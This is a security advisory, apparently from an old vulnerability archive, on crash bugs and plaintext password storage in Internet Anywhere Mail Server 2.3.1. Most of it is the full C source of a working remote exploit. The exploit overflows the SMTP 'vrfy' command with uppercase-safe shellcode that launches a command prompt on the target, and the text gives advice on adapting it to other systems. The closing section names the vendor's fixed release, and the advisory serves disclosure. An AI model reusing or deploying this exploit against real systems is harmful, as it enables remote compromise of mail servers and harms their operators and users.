COMMAND

    Internet Anywhere Mail Server

SYSTEMS AFFECTED

    WinNT with IAMS 2.3.1, build 10020

PROBLEM

    Arne  Vidstrom  found  found  a  some  vulnerabilities in Internet
    Anywhere  Mail  Server  version  2.3.1,  build  10020.   They  are
    probably present in earlier versions too:

    1) If you send the POP3 server the commands "user", "retr", "list"
       or "uidl" with  arguments that are  about 200 characters  long,
       the server crashes.

    2) If you send the POP3  server the commands "list a", "top  a a",
       or "uidl a" (that is,  letters where there should be  numbers),
       the server crashes.

    3) If you send the SMTP server the command "vrfy" with an argument
       that is about 250 characters long, the server crashes.

    4) Another problem is that the server stores the account passwords
       in plaintext in the file msgboxes.dbf.

    So, is  it possible  to get  some code  of our  own to  execute by
    exploiting  the   buffer  overflows?    Arne   made  the   program
    iamexploit.c below  that starts  the Command  Prompt in  one of my
    servers when he  run it from  another computer (it  probably won't
    do it  on yours  without modification,  see below).   The  program
    exploits the vrfy overflow.  How easy would it be to modify it  to
    work against other systems?  First  of all it is dependent on  the
    version of msvcrt.dll, because of the entry adress to the system()
    function.  This  part of the  program could of  course be changed.
    There is however  another complication in  this case -  the server
    converts the whole vrfy string  to uppercase after receiving it  -
    and that includes converting the payload machine code to uppercase
    too.  Arne circumvented this by using assembly instructions  which
    don't generate  machine code  which contains  "lowercase character
    values".  A bit tricky,  especially since you can't have  any null
    characters in the  code either, but  it works. I  wouldn't want to
    write any complicated payload this  way though.  Now, there  are a
    couple of more problems here.  First of all, the bytes we send  to
    overwrite  the  return  address  are  also converted to uppercase.
    This time we were lucky, the ones Arne used in his case are ok.

    The second  problem is  that the  stack location  depends on  more
    things than the  SP version and  so on.   Arne hasn't figured  out
    what yet.   So, here's  the code,  with "dynamic"  loading of  the
    payload - you can modify the inline assembly instructions and just
    recompile the program.  Isn't that so high tech?

    //
    // iamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/
    //
    // This exploit code starts the Command Prompt on a remote computer
    // running Internet Anywhere Mail Server version 2.3.1, build 10020.
    // However, it is very dependent on different DLL versions installed
    // on the server computer. This code exploits a vrfy buffer overflow
    // in the SMTP part of the mail server.
    //
    
    #include <stdio.h>
    #include <windows.h>
    #include <winsock.h>
    #include <string.h>
    
    #define sockaddr_in struct sockaddr_in
    #define sockaddr struct sockaddr
    
    // Server IP address
    char ipaddr[25] = "xxx.xxx.xxx.xxx";
    // Server port, the default is 25
    unsigned short port = xxxxx;
    
    // Payload machine code size and location
    DWORD stop, start, size;
    // The overflow string
    unsigned char s[251];
    
    // This function contains the payload assembly code and some extra
    // code to support dynamic loading of the payload
    BOOL createPayload(void)
    {
            DWORD point1, point2;
    
            __asm {
                    // First checkpoint for code location
                    MOV  point1, $
                    JMP  AFTER
                    // Exploit payload starts here ->>
                    // Set up a new stack frame, but there's no need to push EBP
                    // since we'll never return from here
                    MOV      EBP, ESP
                    // Manipulate the null terminated string "cmd" into ESI
                    // and push it onto the stack - we can't just move it into
                    // memory with three MOV BYTE PTR's because the machine code
                    // they generate will be destroyed when the mail server
                    // convert the string to uppercase
                    MOV  ESI, 0FF646d63h
                    AND  ESI, 0F0FFFFFFh
                    AND  ESI, 0FFFFFFFh
                    PUSH ESI
                    // Manipulate the system() function's entry address into ESI
                    // the same way as we did with the "cmd" string and push it
                    // onto the stack too - 7801C1A0h only works for version
                    // 5.00.7128 of the DLL msvcrt.dll
                    MOV  ESI, 7801C1A0h
                    MOV  EBX, 20FFFFFFh
                    AND  EBX, 0FF0F0F0Fh
                    AND  EBX, 0FFF0F0F0h
                    OR   ESI, EBX
                    AND  ESI, 0FFFFDFFFh
                    PUSH ESI
                    // Load the address to the "cmd" string into EAX and push it
                    // onto the stack for use by system() below
                    LEA  EAX, [EBP-04h]
                    PUSH EAX
                    // Call system() which starts the Command Prompt
                    CALL DWORD PTR [EBP-8h]
                    // Infinite loop - the server won't crash when the Command
                    // Prompt is closed, and it will also continue responding
                    // to more clients, though CPU usage will be 100%
                    LABEL1:
                    JMP  LABEL1
                    // <<- Exploit payload ends here
                    // Second checkpoint for code location
                    AFTER:
                    MOV  point2, $
            }
            // Calculate payload size and location
            size = point2 - point1 - 12;
            start = point1 + 12;
            stop = point2;
            // Payload size vs. server buffer size overflow check
            if (size > 75)
                    return FALSE;
            else
                    return TRUE;
    }
    
    // Create the vrfy overflow string
    void createOverflow(void)
    {
            unsigned char payload[236];
            unsigned char fillout[236];
            unsigned char ret[5];
            unsigned int i;
            unsigned long temp;
            unsigned char *p;
    
            // Create a string containing the payload
            temp = start;
            for (i=0; i<size; i++) {
                    p = (unsigned char*) temp;
                    payload[i] = *p;
                    temp++;
            }
            payload[i] = '\0';
            // Fill out with some 'a' until we hit the function return
            // address on the stack
            i = strlen(payload);
            while (i<235) {
                    fillout[i-strlen(payload)] = 'a';
                    i++;
            }
            fillout[i-strlen(payload)] = '\0';
            // Overwrite the return address to the location of the payload
            // inside the buffer
            ret[0] = 0x45;
            ret[1] = 0xF4;
            ret[2] = 0xF1;
            ret[3] = 0x01;
            ret[4] = 0x00;
            // Put together the whole vrfy overflow string
            strcpy(s, "vrfy xxxxx");
            strcat(s, payload);
            strcat(s, fillout);
            strcat(s, ret);
            strcat(s, "\r\n");
            printf("Created overflow string.\n");
    }
    
    // Connect to the server, say hi and then send the overflow string
    void sendOverflow(void)
    {
            SOCKET socket1;
            WSADATA winSockData;
            sockaddr_in peer;
            int flags;
            int result;
            char buffer[1024];
    
            // Allocate a socket, connect and stuff...
            WSAStartup(0x0101, &winSockData);
            socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
            peer.sin_family = AF_INET;
            peer.sin_port = htons(port);
            peer.sin_addr.s_addr = inet_addr(ipaddr);
            result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
            if (result != 0) {
                    printf("Couldn't connect to the server!\n");
                    closesocket(socket1);
                    WSACleanup();
            }
            else {
                    // Wait for the server to give us the welcome message, this
                    // is a bit simplified because we can't expect the whole
                    // message in one recv, but it will do in this case
                    flags = 0;
                    result = recv(socket1, buffer, 1024, flags);
                    // Say hi to the server
                    flags = 0;
                    result = send(socket1, "helo\r\n", strlen("helo\r\n"), flags);
                    // Wait for the server to say ok, the same as above goes here
                    flags = 0;
                    result = recv(socket1, buffer, 1024, flags);
                    // Send the overflow string to the server
                    flags = 0;
                    result = send(socket1, s, strlen(s), flags);
                    if (result != SOCKET_ERROR)
                            printf("Overflow sent to the server.\n");
                    // Wait a couple of seconds
                    Sleep(2000);
                    // Clean up
                    closesocket(socket1);
                    WSACleanup();
            }
    }
    
    // Guess what this is :o)
    int main(void)
    {
            DWORD temp;
            unsigned char *p;
    
            printf("\niamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/\n\n");
            // Generate payload machine code and check size
            if (!createPayload()) {
                    printf("ERROR: The payload machine code generated will not fit in the buffer!\n");
                    return 1;
            }
            else
                    printf("%ld bytes of payload machine code generated.\n", size);
            // Check for null characters in the payload
            for (temp=start; temp<stop; temp++) {
                    p = (unsigned char*) temp;
                    if (*p == 0) {
                            printf("ERROR: The payload machine code generated contains the null character!\n");
                            return 1;
                    }
            }
            printf("Payload ok.\n");
            // Create the overflow string
            createOverflow();
            // Send the overflow string to the server
            sendOverflow();
            printf("Over and out!\n\n");
            return 0;
    }

SOLUTION

    Points 1-3 are  fixed in the  brand new version  3.1 which is  now
    available at

        http://www.tnsoft.com/

    but point 4 will  not be fixed until  a future version -  all this
    according to True North Software.